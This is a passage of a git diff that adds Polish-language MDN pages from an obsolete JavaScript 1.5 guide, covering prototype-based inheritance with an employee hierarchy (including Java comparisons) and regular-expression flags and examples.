następujących definicji: +</p> +<pre>function Employee () { +this.name = ""; +this.dept = "general"; +} + +function WorkerBee () { +this.projects = []; +} +WorkerBee.prototype = new Employee; +</pre> +<p>Przypuśćmy, że wraz z tymi definicjami utworzyłeś <code>amy</code> jako instancję <code>WorkerBee</code> za pomocą poniższej instrukcji: +</p> +<pre>amy = new WorkerBee; +</pre> +<p>Obiekt <code>amy</code> posiada jedną lokalną własność, <code>projects</code>. Wartości własności <code>name</code> i <code>dept</code> nie są lokalne dla <code>amy</code> i dlatego są pobrane z własności <code>__proto__</code> obiektu <code>amy</code>. W ten sposób <code>amy</code> posiada następujące wartości własności: +</p> +<pre>amy.name == ""; +amy.dept = "general"; +amy.projects == []; +</pre> +<p>Teraz przypuśćmy, że zmienisz wartość własności <code>name</code> w prototypie powiązanym z <code>Employee</code>: +</p> +<pre>Employee.prototype.name = "Unknown" +</pre> +<p>Na pierwszy rzut oka może Ci sie wydawać, że nowa wartość zostanie przekazana dalej do wszystkich instancji <code>Employee</code>. Nie dzieje się tak. +</p><p>Gdy tworzysz <i>dowolną</i> instancję obiektu <code>Employee</code>, instancja ta otrzymuje lokalną wartość dla własności <code>name</code> (pusty ciąg znaków). Oznacza to, że gdy ustawisz prototyp <code>WorkerBee</code> poprzez utworzenie nowego obiektu <code>Employee</code>, <code>WorkerBee.prototype</code> posiada lokalną wartość dla własności <code>name</code>. Dlatego więc, gdy JavaScript sprawdza własność <code>name</code> obiektu <code>amy</code> (instancji <code>WorkerBee</code>), JavaScript znajduje lokalną wartość dla tej własności w <code>WorkerBee.prototype</code>. Dlatego też nie sprawdza on łańcucha dalej aż do <code>Employee.prototype</code>. +</p><p>Jeśli chcesz zmienić wartość własności obiektu w momencie uruchomienia i sprawić, by była ona dziedziczona przez wszystkich potomków obiektu, nie możesz zdefiniować własności w funkcji konstruktora obiektu. Zamiast tego dodaj ją do prototypu powiązanego z konstruktorem. Na przykład, zakładając zmianę poprzedniego kodu na poniższy: +</p> +<pre>function Employee () { + this.dept = "general"; +} +Employee.prototype.name = ""; + +function WorkerBee () { +this.projects = []; +} +WorkerBee.prototype = new Employee; + +amy = new WorkerBee; + +Employee.prototype.name = "Unknown"; +</pre> +<p>W tym wypadku własność <code>name</code> obiektu <code>amy</code> przyjmuje wartość "Unknown". +</p><p>Jak pokazuję powyższe przykłady, jeśli chcesz zachować domyślne wartości dla własności obiektu i móc zmienić domyślne wartości w momencie uruchomienia, powinieneś utworzyć własności w prototypie konstruktora, a nie w samej funkcji konstruktora. +{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Powrót dziedziczenia własności", "Przewodnik po języku JavaScript 1.5:Powrót dziedziczenia własności:Określanie wzajemnych relacji obiektu") }} +</p> +<div class="noinclude"> +</div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Local_versus_Inherited_Values", "es": "es/Gu\u00eda_JavaScript_1.5/M\u00e1s_sobre_la_herencia_de_propiedades/Valores_locales_frente_a_los_heredados", "ja": "ja/Core_JavaScript_1.5_Guide/Property_Inheritance_Revisited/Local_versus_Inherited_Values" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/index.html new file mode 100644 index 0000000000..28e5f9255c --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/index.html @@ -0,0 +1,37 @@ +--- +title: Praca z przykładem +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Przyk.C5.82ad_obiektu_Pracownik" name="Przyk.C5.82ad_obiektu_Pracownik">Przykład obiektu Pracownik</h3> +<p>Dalsza część tego rozdziału opiera się na hierarchii pracowników przedstawionej na poniższym rysunku.</p> +<p><img alt="Grafika:hier01.png"></p> +<p><small><b>Rysunek 8.1: Prosta hierarchia obiektu</b></small></p> +<p>W przykładzie tym zostały użyte następujące obiekty:</p> +<ul> + <li>Pracownik posiada własność imie (której domyślną wartością jest pusty łańcuch znaków) i dept (z domyślną wartością "ogólny").</li> + <li>Manager jest oparty na Pracowniku. Dodaje własność raporty (której domyślną wartością jest pusta tablica mająca w zamierzeniu przyjmować obiekty Pracownik jako swoje wartości).</li> + <li>Robotnik również jest oparty na Pracowniku. Dodaje własność projekty (której domyślną wartością jest pusta tablica mająca w zamierzeniu przyjmować łańcuchy znaków jako swoje wartości).</li> + <li>Sprzedawca jest oparty na Robotniku. Dodaje on własność przydzial (z domyślną wartością 100). Nadpisuje on również własność dept wartością "sprzedaż" wskazując, że wszyscy sprzedawcy są w tym samym dziale.</li> + <li>Inzynier jest oparty na Robotniku. Dodaje własność maszyna (której domyślną wartością jest pusty łańcuch znaków) oraz nadpisuje własność dept wartością "inżynieria".</li> +</ul> +<p>Pozostała część przykładu:</p> +<ul> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/Tworzenie_hierarchii">Tworzenie hierarchii</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/W%c5%82a%c5%9bciwo%c5%9bci_obiektu">Właściwości obiektu</a> + <ul> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/W%c5%82a%c5%9bciwo%c5%9bci_obiektu/Dziedziczenie_w%c5%82a%c5%9bciwo%c5%9bci">Dziedziczenie właściwości</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/W%c5%82a%c5%9bciwo%c5%9bci_obiektu/Dodawanie_w%c5%82a%c5%9bciwo%c5%9bci">Dodawanie właściwości</a></li> + </ul> + </li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/Wi%c4%99cej_elastycznych_konstruktor%c3%b3w">Więcej elastycznych konstruktorów</a></li> +</ul> +<div class="noinclude"> + <p>{{ PreviousNext("Przewodnik_po_języku_JavaScript_1.5:Języki_oparte_na_klasach_vs._oparte_na_prototypach", "Przewodnik_po_języku_JavaScript_1.5:Praca_z_przykładem:Tworzenie_hierarchii") }}</p> +</div> +<p> </p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/tworzenie_hierarchii/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/tworzenie_hierarchii/index.html new file mode 100644 index 0000000000..a15422c92d --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/tworzenie_hierarchii/index.html @@ -0,0 +1,149 @@ +--- +title: Tworzenie hierarchii +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Tworzenie_hierarchii +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Tworzenie_hierarchii" name="Tworzenie_hierarchii">Tworzenie hierarchii</h3> +<p>Istnieje kilka sposobów zdefiniowania odpowiednich funkcji konstruktora do zaimplementowania hierarchii Pracownik. To w jaki sposób zdecydujesz się je zdefiniować zależy głównie od tego, co chcesz zrobić w swojej aplikacji.</p> +<p>Ten fragment pokazuje jak użyć prostych (i stosunkowo mało elastycznych) definicji w celu zademonstrowania dziedziczenia. W tych definicjach nie możesz określić żadnych wartości własności podczas tworzenia obiektu. Nowo utworzony obiekt po prostu otrzymuje wartości domyślne, które możesz zmienić później. Rysunek 8.2 ilustruje hierarchię wraz z tymi prostymi definicjami.</p> +<p>W prawdziwej aplikacji zdefiniowałbyś prawdopodobnie konstruktory, które pozwoliłyby Ci na zapewnienie własnościom wartości w czasie tworzenia obiektu (zobacz <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/Wi%c4%99cej_elastycznych_konstruktor%c3%b3w">więcej elastycznych konstruktorów</a>, aby uzyskać więcej informacji). Na chwilę obecną te proste definicje zademonstrują jak objawia się dziedziczenie.</p> +<p><img alt="Grafika:hier02.png"><br> + <small><b>Rysunek 8.2: Definicje obiektu Pracownik</b></small></p> +<p>Poniższe definicje obiektu <code>Pracownik</code> w Javie i JavaScripcie są podobne. Różnią się one jedynie tym, że w Javie musisz określić typ każdej własności (w przeciwieństwie do JavaScriptu) oraz musisz stworzyć wyraźną metodę konstruktora dla klasy Javy.</p> +<p></tr></p> +<table class="fullwidth-table"> + <tbody> + <tr> + <th>JavaScript</th> + <th>Java</th> + </tr> + <tr> + <td> + <pre> +function Pracownik () { +this.imie = ""; +this.dept = "ogólny"; +} +</pre> + </td> + <td> + <pre> +public class Pracownik { + public String imie; + public String dept; + public Pracownik () { + this.imie = ""; + this.dept = "ogólny"; + } +} +</pre> + </td> + </tr> + </tbody> +</table> +<p>Definicje <code>Manager</code> i <code>Robotnik</code> pokazuję różnicę w sposobie określania następnego obiektu wyższego w łańcuchu dziedziczenia. W JavaScripcie dodajesz instancję prototypową jako wartość własności prototypu funkcji konstruktora. Możesz do zrobić w dowolnej chwili po zdefiniowaniu konstruktora. W Javie określasz superklasę wewnątrz definicji klasy. Nie możesz zmienić superklasy spoza definicji klasy.</p> +<p></tr></p> +<table class="fullwidth-table"> + <tbody> + <tr> + <th>JavaScript</th> + <th>Java</th> + </tr> + <tr> + <td> + <pre> +function Manager () { +this.raporty = []; +} +Manager.prototype = new Pracownik; + +function Robotnik () { +this.projekty = []; +} +Robotnik.prototype = new Pracownik; +</pre> + </td> + <td> + <pre> +public class Manager extends Pracownik { + public Employee[] raporty; + public Manager () { + this.raporty = new Pracownik[0]; + } +} + +public class Robotnik extends Pracownik { + public String[] projekty; + public Robotnik () { + this.projekty = new String[0]; + } +} +</pre> + </td> + </tr> + </tbody> +</table> +<p>Definicje <code>Inzynier</code> i <code>Sprzedawca</code> tworzą obiekty, które pochodzą od <code>Robotnik</code> a stamtąd od <code>Pracownik</code>. Obiekt tych typów posiada własności wszystkich obiektów znajdujących się ponad nim w łańcuchu. W dodatku definicje te nadpisują dziedziczoną własność <code>dept</code> nowymi wartościami specyficznymi dla tych obiektów.</p> +<table class="fullwidth-table"> + <tbody> + <tr> + <th>JavaScript</th> + <th>Java</th> + </tr> + <tr> + <td> + <pre> +function Sprzedawca () { + this.dept = "sprzedaż"; + this.przydzial = 100; +} +Sprzedawca.prototype = new Robotnik; + +function Inzynier () { + this.dept = "inżynieria"; + this.maszyna = ""; +} +Inzynier.prototype = new Robotnik; +</pre> + </td> + <td> + <pre> +public class Sprzedawca extends Robotnik { + public double przydzial; + public Sprzedawca () { + this.dept = "sprzedaż"; + this.przydzial = 100.0; + } +} + +public class Inzynier extends Robotnik { + public String maszyna; + public Inzynier () { + this.dept = "inżynieria"; + this.maszyna = ""; + } +} +</pre> + </td> + </tr> + </tbody> +</table> +<p>Używając tych definicji możesz stworzyć instancje tych obiektów, których własności otrzymują domyślne wartości. Rysunek 8.3 ilustruje zastosowanie tych definicji JavaScriptu do zdefiniowania nowych obiektów i pokazuje wartości własności nowych obiektów.</p> +<p><b>Uwaga:</b> Termin + <i> + instancja</i> + posiada określone techniczne znaczenie w językach opartych na klasach. W językach tych instancja jest pojedynczą składową klasy i jest całkowicie różna od klasy. W JavaScripcie "instancja" nie ma takiego technicznego znaczenia, ponieważ JavaScript nie posiada tej różnicy między klasami a instancjami. Jednak, mówiąc o JavaScripcie, "instancja" może być użyta nieformalnie w znaczeniu obiektu utworzonego za pomocą konkretnej funkcji konstruktora. Dlatego w tym przykładzie mógłbyś nieformalnie stwierdzić, że <code>janina</code> jest instancją <code>Inzynier</code>. Podobnie chociaż terminy + <i> + rodzic, dziecko, przodek</i> + i + <i> + potomek</i> + nie mają formalnego znaczenia w JavaScripcie, możesz użyć ich nieformalnie, aby odnieść się do obiektów znajdujących się wyżej lub niżej w łańcuchu prototypu.</p> +<p><img alt="Grafika:hier03.png"><br> + <small><b>Rysunek 8.3: Tworzenie obiektów z prostymi definicjami</b></small></p> +<p>{{ PreviousNext("Przewodnik_po_języku_JavaScript_1.5:Praca_z_przykładem", "Przewodnik_po_języku_JavaScript_1.5:Praca_z_przykładem:Własności_obiektu") }}</p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dodawanie_własności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dodawanie_własności/index.html new file mode 100644 index 0000000000..ec2e836159 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dodawanie_własności/index.html @@ -0,0 +1,23 @@ +--- +title: Dodawanie własności +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dodawanie_własności +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Dodawanie_w.C5.82asno.C5.9Bci" name="Dodawanie_w.C5.82asno.C5.9Bci">Dodawanie własności</h3> +<p>W JavaScripcie możesz dodawać własności do dowolnego obiektu w momencie uruchomienia. Nie jesteś zmuszony używać tylko własności dostarczonych przez funkcję konstruktora. Aby dodawać własność, która jest specyficzna dla pewnego obiektu, przypisz wartość do tego obiektu w następujący sposób:</p> +<pre>mark.bonus = 3000; +</pre> +<p>Teraz obiekt <code>mark</code> posiada własność bonus, lecz nie posiadają jej inne obiekty <code>WorkerBee</code>.</p> +<p>Jeśli dodasz nową własność do obiektu, który jest używany jako prototyp w funkcji konstruktora, dodajesz tę własność do wszystkich obiektów, które dziedziczą własności tego prototypu. Przykładowo, możesz dodać własność <code>specialty</code> dla wszystkich obiektów employee za pomocą następującej instrukcji:</p> +<pre>Employee.prototype.specialty = "none"; +</pre> +<p>Gdy tylko JavaScript wykona tę instrukcję, obiekt <code>mark</code> również będzie posiadał własność specialty wraz z wartością "<code>none</code>". Poniższy rysunek pokazuje efekt dodania tej własności do prototypu Employee oraz następnie nadpisania jej prototypem <code>Engineer</code>.</p> +<p><img alt="Grafika:hier04.gif"><br> + <small><b>Rysunek 8.4: Dodawanie własności</b></small> {{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu:Dziedziczenie własności", "Przewodnik po języku JavaScript 1.5:Praca z przykładem:Więcej elastycznych konstruktorów") }}</p> +<div class="noinclude"> + </div> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dziedziczenie_własności/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dziedziczenie_własności/index.html new file mode 100644 index 0000000000..8287857c63 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/dziedziczenie_własności/index.html @@ -0,0 +1,33 @@ +--- +title: Dziedziczenie własności +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu/Dziedziczenie_własności +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Dziedziczenie_w.C5.82asno.C5.9Bci" name="Dziedziczenie_w.C5.82asno.C5.9Bci">Dziedziczenie własności</h3> +<p>Przypuśćmy, że utworzyłeś obiekt marek jako <code>Robotnik</code>, tak jak pokazano na <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/Tworzenie_hierarchii">Rysunku 8.3</a>, za pomocą poniższej instrukcji:</p> +<pre class="eval">marek = new Robotnik; +</pre> +<p>Gdy JavaScript napotyka na operator new, tworzy nowy ogólny obiekt i przekazuje go jako wartość słowa kluczowego <code>this</code> funkcji konstruktora Robotnik. Funkcja konstruktora bezpośrednio nadaje wartość własności <code>projekty</code> i bezwzględnie ustala wartość wewnętrznej własności <code>__proto__</code> jako <code>Robotnik.prototype</code> (ta nazwa własności posiada dwa znaki podkreślenia na początku i dwa na końcu). Własność <code>__proto__</code> decyduje o łańcuchu prototypu używanym do zwracania wartości własności. Gdy tylko własności te są ustalone, JavaScript zwraca nowy obiekt, a instrukcja przypisania przypisuje zmienną marek do tego obiektu.</p> +<p>Proces ten nie umieszcza wartości bezpośrednio w obiekcie <code>marek</code> (wartości + <i> + lokalne</i> + ) dla własności, które <code>marek</code> dziedziczy z łańcucha prototypu. Gdy pytasz o wartość własności, JavaScript najpierw sprawdza czy wartość istnieje w tym obiekcie. Jeśli tak, zwraca tę wartość. Jeśli wartość nie istnieje tam lokalnie, JavaScript sprawdza łańcuch prototypu (używając własności <code>__proto__</code>). Jeśli obiekt w łańcuchu prototypu posiada wartość tej własności, jest ona zwracana. Jeśli własność nie zostanie znaleziona, JavaScript zgłasza, że obiekt nie posiada własności. W tym przypadku obiekt <code>mark</code> posiada następujące własności i wartości:</p> +<pre class="eval">marek.imie = ""; +marek.dept = "ogólny"; +marek.projekty = []; +</pre> +<p>Obiekt <code>mark</code> dziedziczy wartości własności imie i dept z obiektu prototypowego w <code>mark.__proto__</code>. Ma on również przypisaną przez konstruktor Robotnik wartość własności projekty. Dzięki temu otrzymujesz dziedziczenie własności i ich wartości w JavaScripcie. Niektóre subtelności tego procesu zostały przedyskutowane w <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Powr%c3%b3t_dziedziczenia_w%c5%82asno%c5%9bci">Powrót dziedziczenia własności</a>.</p> +<p>Ponieważ konstruktory te nie pozwalają na dostarczenie wartości specyficznych dla instancji, informacje te są ogólne. Wartościami własności są te domyślnie dzielone przez wszystkie nowe obiekty utworzone z Robotnik. Możesz oczywiście zmienić wartości dowolnej z tych własności. Mógłbyś podać określone informacje dla <code>marek</code> tak jak pokazano poniżej:</p> +<pre class="eval">marek.imie = "Doe, Marek"; +marek.dept = "administrator"; +marek.projekty = ["navigator"]; +</pre> +<div class="noinclude"> + <p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu", "Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu:Dodawanie własności") }}</p> +</div> +<p> </p> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/index.html new file mode 100644 index 0000000000..85957fa7fc --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_przykładem/własności_obiektu/index.html @@ -0,0 +1,19 @@ +--- +title: Własności obiektu +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_przykładem/Własności_obiektu +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="W.C5.82asno.C5.9Bci_obiektu" name="W.C5.82asno.C5.9Bci_obiektu">Własności obiektu</h3> +<p>Ten artykuł omawia jak obiekty dziedziczą własności z innych obiektów w łańcuchu prototypu i co się stanie, gdy dodasz własność w momencie uruchomienia.</p> +<ul> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/W%c5%82asno%c5%9bci_obiektu/Dziedziczenie_w%c5%82asno%c5%9bci">Dziedziczenie własności</a></li> + <li><a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5/Praca_z_przyk%c5%82adem/W%c5%82a%c5%9bciwo%c5%9bci_obiektu/Dodawanie_w%c5%82a%c5%9bciwo%c5%9bci">Dodawanie własności</a></li> +</ul> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z przykładem:Tworzenie hierarchii", "Przewodnik po języku JavaScript 1.5:Praca z przykładem:Własności obiektu:Dziedziczenie własności") }}</p> +<div class="noinclude"> + </div> diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście/index.html new file mode 100644 index 0000000000..a566755689 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście/index.html @@ -0,0 +1,49 @@ +--- +title: 'Globalne wyszukiwanie, wielkość znaków, wieloliniowe wejście' +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Globalne_wyszukiwanie,_wielkość_znaków,_wieloliniowe_wejście +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +translation_of: Web/JavaScript/Guide/Regular_Expressions +--- +<p> +</p> +<h3 id="Zaawansowane_wyszukiwanie_za_pomoc.C4.85_flag" name="Zaawansowane_wyszukiwanie_za_pomoc.C4.85_flag"> Zaawansowane wyszukiwanie za pomocą flag </h3> +<p>Wyrażenia regularne posiadają cztery opcjonalne flagi, które pozwalają na globalne i niezależne od wielkości znaków wyszukiwanie. Aby wskazać wyszukiwanie globalne, użyj flagi <code>g</code>. Aby wskazać wyszukiwanie nieczułe na wielkość znaków, użyj flagi <code>i</code>. Aby wskazać wyszukiwanie wieloliniowe, użyj flagi <code>m</code>. Aby przeprowadzić "lepkie" wyszukiwanie, które pasuje do początku obecnej pozycji w łańcuchu docelowym, użyj flagi <code>y</code>. Flagi te mogą być użyte oddzielnie lub razem w dowolnej kolejności i są dołączane jako część wyrażenia regularnego. +</p><p>{{ Fx_minversion_note(3, "Obsługa flagi <code>y</code> została dodana w Firefoksie 3. Użycie flagi <code>y</code> skutkuje niepowodzeniem, jeśli wynik nie następuje po aktualnej pozycji w łańcuchu docelowym.") }} +</p><p>Aby dołączyć flagę do wyrażenia regularnego, użyj składni: +</p> +<pre>re = /pattern/flags +re = new RegExp("pattern", ["flags"]) +</pre> +<p>Zauważ że flagi są integralną częścią wyrażenia regularnego. Nie mogą być one dodane lub usunięte później. +</p><p>Na przykład, <code>re = /\w+\s/g</code> tworzy wyrażenie regularne, które szuka jednego lub więcej znaków, po których następuje spacja, szukając tej kombinacji w całym łańcuchu znaków. +</p> +<pre><script type="text/javascript"> + re = /\w+\s/g; + str = "fee fi fo fum"; + myArray = str.match(re); + document.write(myArray); +</script> +</pre> +<p>To wyświetli {{ mediawiki.external('\"fee \", \"fi \", \"fo \"') }}. W tym przykładzie możesz zamienić linię: +</p> +<pre>re = /\w+\s/g; +</pre> +<p>z: +</p> +<pre>re = new RegExp("\\w+\\s", "g"); +</pre> +<p>otrzymując ten sam rezultat. +</p><p>Flaga <code>m</code> jest używana do określenia, że wieloliniowy łańcuch wejściowy powinien być traktowany jako wiele linii. Jeśli użyta jest flaga <code>m</code>, ^ i $ odpowiadają za początek lub koniec z każdej linii w wejściowym łańcuchu znaków zamiast początku i końca całego łańcucha. +</p> +<div class="noinclude"> +<p>{{ PreviousNext("Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Użycie odpowiedniego znaku", "Przewodnik po języku JavaScript 1.5:Praca z wyrażeniami regularnymi:Przykłady wyrażeń regularnych") }} +</p><p><br> +</p><p><br> +</p> +<div class="noinclude"> +</div></div> +{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Advanced_Searching_With_Flags", "es": "es/Gu\u00eda_JavaScript_1.5/Trabajar_con_expresiones_regulares/Ejecutar_una_busqueda_global,_discriminar_mayusculas_y_minusculas_y_considerar_entrada_multil\u00ednea", "fr": "fr/Guide_JavaScript_1.5/Travailler_avec_les_expressions_rationnelles/Ex\u00e9cution_de_recherches_globales,_ignorer_la_casse,_utilisation_de_cha\u00eenes_multilignes", "ja": "ja/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Advanced_Searching_With_Flags" } ) }} diff --git a/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/przykłady_wyrażeń_regularnych/index.html b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/przykłady_wyrażeń_regularnych/index.html new file mode 100644 index 0000000000..f615d23035 --- /dev/null +++ b/files/pl/web/javascript/guide/obsolete_pages/przewodnik_po_języku_javascript_1.5/praca_z_wyrażeniami_regularnymi/przykłady_wyrażeń_regularnych/index.html @@ -0,0 +1,122 @@ +--- +title: Przykłady wyrażeń regularnych +slug: >- + Web/JavaScript/Guide/Obsolete_Pages/Przewodnik_po_języku_JavaScript_1.5/Praca_z_wyrażeniami_regularnymi/Przykłady_wyrażeń_regularnych +tags: + - JavaScript + - Przewodnik_JavaScript + - Wszystkie_kategorie +--- +<p> </p> +<h3 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h3> +<p>Poniższe przykłady prezentują niektóre użycia wyrażeń regularnych.</p> +<h4 id="Zmiana_kolejno.C5.9Bci_w_.C5.82a.C5.84cuchu_znak.C3.B3w_wej.C5.9Bcia" name="Zmiana_kolejno.C5.9Bci_w_.C5.82a.C5.84cuchu_znak.C3.B3w_wej.C5.9Bcia">Zmiana kolejności w łańcuchu znaków wejścia</h4> +<p>Następujący przykład ilustruje tworzenie wyrażeń regularnych i użycie <code>string.split()</code> i <code>string.replace()</code>. Czyści on bezwzględnie wejściowy łańcuch znaków zawierający imiona (pierwsze imię jest pierwsze) oddzielone odstępem, tabulatorem i dokładnie jednym średnikiem. Na koniec odwraca on kolejność imion (ostatnie imię jest pierwsze) i sortuje listę.</p> +<pre><script type="text/javascript"> + +// Łańcuch znaków z imionami zawiera wiele spacji i tabulatorów, +// może również zawierać wiele spacji pomiędzy pierwszym a ostatnim imieniem. +var imiona = "Harry Trump ;Fred Barney; Helen Rigby ; Bill Abel ; Chris Hand "; + +var output = new Array( + "---------- Oryginalny łańcuch znaków<br><br>", + imiona + "<br><br>"); + +// Przygotuj dwa wzorce wyrażeń regularnych i tablicę do przechowywania. +// Podziel łańcuch na elementy tablicy. + +// wzorzec: możliwe białe znaki, następnie średnik, potem znów możliwe białe +var wzor = /\s*;\s*/; + +// Rozbij łańcuch znaków na części oddzielone przez powyższy wzorzec +// i przechowaj je w tablicy o nazwie listaImion +var listaImion = imiona.split(wzor); + +// Nowy wzorzec: jeden lub więcej znaków, następnie spacje, następnie znów znaki. +// Użyj nawiasów, by "zapamiętać" porcje wzorca. +// Zapamiętane porcje przydadzą się później. +var wzor = /(\w+)\s+(\w+)/; + +// Nowa tablica do przechowywania przetwarzanych imion. +var ListaWgNazwisk = new Array(); + +// Wyświetl nazwę tablicy i wypełnij nową tablicę +// imionami oddzielonymi za pomocą przecinka, zaczynając od ostatniego. +// +// Metoda "zamien" usuwa wszystko pasujące do wzorca +// i zamienia to z zapamiętanymi porcjami. +// +// Zmienne $1 i $2 odwołują się do zapamiętanych porcji +// podczas porównywania wzorca. + +output.push("---------- Po rozdzieleniu przez wyrażenie regularne<BR>"); + +var i, len; +for (i = 0, len = listaImion.length; i < len; i++) +{ + output.push(nameList[i] + "<br>"); + ListaWgNazwisk[i] = listaImion[i].replace(wzor, "$2, $1") +} + +// Wyświetl nową tablicę. +output.push("---------- Odwrócone imiona<br>"); +for (i = 0, len = ListaWgNazwisk.length; i < len; i++) +{ + output.push(ListaWgNazwisk[i] + "<br>") +} + +// Sortuj według ostatniego imienia, następnie wyświetl posortowaną tablicę. +ListaWgNazwisk.sort(); +output.push("---------- Posortowano<br>"); +for (i = 0, len = ListaWgNazwisk.length; i < len; i++) +{ + output.push(ListaWgNazwisk[i] + "<br>") +} + +output.push("---------- Koniec<br>"); + +document.write(output.join("\n")); + +</script> +</pre> +<h4 id="U.C5.BCywanie_specjalnych_znak.C3.B3w_do_sprawdzenia_wej.C5.9Bcia" name="U.C5.BCywanie_specjalnych_znak.C3.B3w_do_sprawdzenia_wej.C5.9Bcia">Używanie specjalnych znaków do sprawdzenia wejścia</h4> +<p>W następującym przykładzie, użytkownik wprowadza numer telefonu. Gdy użytkownik naciśnie klawisz Enter, skrypt sprawdzi poprawność numeru. Jeśli numer jest poprawny (pasuje do sekwencji znaków określonej przez wyrażenie regularne), skrypt wywoła okno z podziękowaniem użytkownikowi i zatwierdza numer. Jeśli numer nie jest poprawny, skrypt wywoła okno informacji o nieprawidłowym numerze telefonu.</p> +<p>Wyrażenie regularne szuka zera lub jednego nawiasu otwartego \(?, po którym następują trzy cyfry \d{3}, następnie znów zero lub jeden nawias zamknięty \)?, potem jednego myślnika, ukośnika lub znaku dziesiętnego, a gdy je znajdzie zapamiętuje znaki (<code>-\\/\\.</code>), następujące po nich trzy cyfry i ciąg składający się z myślnika, ukośnika lub znaku dziesiętnego \1 i następujących potem czterech cyfr \d{4}.</p> +<p>Zdarzenie 